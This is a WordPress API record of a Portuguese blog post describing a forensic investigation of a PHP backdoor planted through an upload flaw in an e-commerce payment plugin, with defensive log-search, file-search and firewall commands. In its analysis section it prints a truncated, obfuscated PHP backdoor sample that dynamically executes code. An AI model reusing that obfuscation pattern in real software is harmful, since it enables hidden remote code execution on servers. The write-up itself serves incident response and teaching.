{"id":176,"date":"2025-03-11T19:58:53","date_gmt":"2025-03-11T19:58:53","guid":{"rendered":"https:\/\/fikresekhel.com\/blog\/?p=176"},"modified":"2025-03-11T19:58:54","modified_gmt":"2025-03-11T19:58:54","slug":"case-de-investigacao-digital-descoberta-e-mitigacao-de-um-backdoor-em-um-e-commerce","status":"publish","type":"post","link":"https:\/\/fikresekhel.com\/blog\/cases\/case-de-investigacao-digital-descoberta-e-mitigacao-de-um-backdoor-em-um-e-commerce\/","title":{"rendered":"Case de Investiga\u00e7\u00e3o Digital: Descoberta e Mitiga\u00e7\u00e3o de um Backdoor em um E-commerce"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\"><strong>Cen\u00e1rio<\/strong><\/h3>\n\n\n\n<p>Uma empresa de e-commerce especializada na venda de eletr\u00f4nicos percebeu uma s\u00e9rie de transa\u00e7\u00f5es fraudulentas e acessos suspeitos ao seu painel administrativo. Relatos de clientes indicavam que, ao tentarem finalizar compras, eram redirecionados para uma p\u00e1gina falsa solicitando pagamento via PIX.<\/p>\n\n\n\n<p>Diante da gravidade da situa\u00e7\u00e3o, a equipe de seguran\u00e7a cibern\u00e9tica foi acionada para uma investiga\u00e7\u00e3o forense no servidor.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fase 1: Identifica\u00e7\u00e3o dos Primeiros Ind\u00edcios<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>1.1. Relatos e Comportamento Suspeito<\/strong><\/h3>\n\n\n\n<p>Os principais sintomas do ataque foram:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Redirecionamento no checkout<\/strong> para um site fraudulento.<\/li>\n\n\n\n<li><strong>Altera\u00e7\u00e3o dos m\u00e9todos de pagamento<\/strong>, com a exclus\u00e3o de op\u00e7\u00f5es tradicionais.<\/li>\n\n\n\n<li><strong>Acesso irregular ao painel administrativo<\/strong> do e-commerce.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>1.2. An\u00e1lise dos Logs do Servidor<\/strong><\/h3>\n\n\n\n<p>O time de seguran\u00e7a acessou os logs do servidor para identificar acessos suspeitos. Com o seguinte comando Linux:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">shCopiarEditar<code>grep \"POST\\|GET\" \/var\/log\/nginx\/access.log | tail -n 50\n<\/code><\/pre>\n\n\n\n<p>Foram encontrados acessos a um arquivo desconhecido:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">swiftCopiarEditar<code>192.168.1.105 - - [11\/Mar\/2025:12:45:32 +0000] \"GET \/checkout.php?payment=custom HTTP\/1.1\" 200\n45.89.32.156 - - [11\/Mar\/2025:12:50:05 +0000] \"GET \/wp-content\/plugins\/payment-gateway\/custom.php HTTP\/1.1\" 200\n<\/code><\/pre>\n\n\n\n<p>\ud83d\udd0e <strong>Descoberta Inicial:<\/strong><br>O arquivo <code>custom.php<\/code> dentro do diret\u00f3rio do plugin de pagamento parecia ser uma pe\u00e7a-chave no ataque.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fase 2: An\u00e1lise do C\u00f3digo Malicioso<\/strong><\/h2>\n\n\n\n<p>Ao examinar o arquivo <code>custom.php<\/code>, a equipe encontrou um c\u00f3digo PHP altamente <strong>ofuscado<\/strong>, similar ao seguinte:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">phpCopiarEditar<code>&lt;?php \n$awvjtnz = 'fmhpph#)zbssb!...(c\u00f3digo truncado)...jx273qj%6&lt;*Y%)fnbozcYufhA...';\n$vgkbclh = explode(chr((636-516)), substr($awvjtnz, (29027-23007), (198-164))); \n$jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); \n$nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); \n\nif (!function_exists('huqbsiykq')) { \n    function huqbsiykq($ewjaowa, $ppcmgty, $euscsfo) { \n        $rputetgcppb = NULL; \n        for ($blvfkqsfhf=0; $blvfkqsfhf&lt;(sizeof($ewjaowa)\/2); $blvfkqsfhf++) { \n            $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)], $ewjaowa[($blvfkqsfhf*2)+(7-6)]); \n        } \n        return $euscsfo(chr((34-25)), chr((531-439)), $rputetgcppb); \n    }; \n}\n\n$xozybdtes = explode(chr((213-169)), '3371,36,157,63,3931,36,2709,44,5708...');\n$ympifwn = $jdxccsyh(\"\", huqbsiykq($xozybdtes, $awvjtnz, $nkttprcq)); \n$jdxccsyh = $awvjtnz; \n$ympifwn(\"\"); \n$ympifwn = (599-478); \n$awvjtnz = $ympifwn-1;\n?&gt;\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>2.1. O que esse c\u00f3digo faz?<\/strong><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Ofusca\u00e7\u00e3o extrema:<\/strong> O c\u00f3digo utiliza <strong>strings obfuscadas<\/strong> e <strong>opera\u00e7\u00f5es matem\u00e1ticas<\/strong> para esconder sua funcionalidade real.<\/li>\n\n\n\n<li><strong>Execu\u00e7\u00e3o din\u00e2mica:<\/strong> Trechos como <code>$jdxccsyh(\"\", huqbsiykq(...))<\/code> indicam que fun\u00e7\u00f5es s\u00e3o criadas e executadas dinamicamente.<\/li>\n\n\n\n<li><strong>Backdoor para execu\u00e7\u00e3o remota:<\/strong> Fun\u00e7\u00f5es como <code>huqbsiykq()<\/code> permitem que um atacante envie <strong>c\u00f3digo arbitr\u00e1rio para ser executado<\/strong> no servidor.<\/li>\n\n\n\n<li><strong>Explora\u00e7\u00e3o de vulnerabilidades:<\/strong> O c\u00f3digo foi inserido em um diret\u00f3rio de plugin (<code>payment-gateway\/<\/code>), indicando um <strong>exploit de upload malicioso<\/strong>.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fase 3: Conten\u00e7\u00e3o e Remo\u00e7\u00e3o da Amea\u00e7a<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.1. Isolamento do Servidor<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Modo de manuten\u00e7\u00e3o ativado<\/strong> para evitar novos acessos maliciosos.<\/li>\n\n\n\n<li><strong>Bloqueio de IPs suspeitos<\/strong> via firewall: shCopiarEditar<code>iptables -A INPUT -s 45.89.32.156 -j DROP<\/code><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.2. Identifica\u00e7\u00e3o de Arquivos Maliciosos<\/strong><\/h3>\n\n\n\n<p>O seguinte comando foi executado para localizar outros arquivos infectados:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">shCopiarEditar<code>find \/var\/www\/html -type f -mtime -5\n<\/code><\/pre>\n\n\n\n<p>\ud83d\udd0e <strong>Descoberta:<\/strong><br>Al\u00e9m do <code>custom.php<\/code>, outros arquivos no diret\u00f3rio <code>wp-content\/uploads<\/code> foram identificados com c\u00f3digo PHP suspeito.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.3. Remo\u00e7\u00e3o e Mitiga\u00e7\u00e3o<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Os <strong>arquivos maliciosos foram deletados<\/strong>.<\/li>\n\n\n\n<li><strong>Reinstala\u00e7\u00e3o do plugin comprometido<\/strong> a partir da fonte oficial.<\/li>\n\n\n\n<li><strong>Senhas de banco de dados e acessos administrativos foram redefinidas<\/strong>.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fase 4: Investiga\u00e7\u00e3o da Porta de Entrada<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>4.1. Como o c\u00f3digo foi injetado?<\/strong><\/h3>\n\n\n\n<p>Uma varredura no servidor revelou que um <strong>exploit conhecido no plugin &#8220;payment-gateway&#8221;<\/strong> foi utilizado. O atacante conseguiu <strong>enviar arquivos PHP maliciosos<\/strong> para o servidor por meio de um upload n\u00e3o filtrado.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>4.2. Logs Forenses<\/strong><\/h3>\n\n\n\n<p>O comando abaixo foi usado para localizar uploads recentes:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">shCopiarEditar<code>grep \"POST\" \/var\/log\/nginx\/access.log | grep \"upload\"\n<\/code><\/pre>\n\n\n\n<p>\ud83d\udd0e <strong>Evid\u00eancia encontrada:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cssCopiarEditar<code>45.89.32.156 - - [11\/Mar\/2025:12:30:45 +0000] \"POST \/wp-content\/plugins\/payment-gateway\/upload.php HTTP\/1.1\" 200\n<\/code><\/pre>\n\n\n\n<p>Isso confirmou que o atacante explorou uma falha de upload no plugin.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fase 5: Li\u00e7\u00f5es Aprendidas e Preven\u00e7\u00e3o<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Impacto do Ataque<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Dados de clientes comprometidos:<\/strong><br>O atacante pode ter <strong>capturado informa\u00e7\u00f5es de pagamento<\/strong> antes da detec\u00e7\u00e3o.<\/li>\n\n\n\n<li><strong>Manipula\u00e7\u00e3o do checkout:<\/strong><br>O redirecionamento levou clientes a <strong>pagarem para um fraudador<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Medidas de Seguran\u00e7a Implementadas<\/strong><\/h3>\n\n\n\n<p>\u2705 <strong>Revis\u00e3o de permiss\u00f5es de arquivos<\/strong> para evitar uploads PHP n\u00e3o autorizados.<br>\u2705 <strong>Instala\u00e7\u00e3o de um WAF (Web Application Firewall)<\/strong> para detectar novas tentativas de ataque.<br>\u2705 <strong>Monitoramento cont\u00ednuo via SIEM<\/strong> para alertar sobre atividades suspeitas.<br>\u2705 <strong>Auditoria regular de plugins e temas<\/strong> para evitar vulnerabilidades explor\u00e1veis.<br>\u2705 <strong>Autentica\u00e7\u00e3o multifator (MFA) ativada<\/strong> no painel administrativo.<\/p>\n\n\n\n<p>\ud83d\udea8 <strong>Conclus\u00e3o:<\/strong><br>O ataque explorou uma falha em um plugin desatualizado e foi rapidamente mitigado. O caso refor\u00e7a a import\u00e2ncia da <strong>seguran\u00e7a preventiva<\/strong> e do <strong>monitoramento cont\u00ednuo<\/strong> em ambientes de e-commerce.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cen\u00e1rio Uma empresa de e-commerce especializada na venda [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":177,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28],"tags":[],"class_list":["post-176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cases"],"_links":{"self":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/comments?post=176"}],"version-history":[{"count":1,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/176\/revisions"}],"predecessor-version":[{"id":178,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/176\/revisions\/178"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media\/177"}],"wp:attachment":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media?parent=176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/categories?post=176"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/tags?post=176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}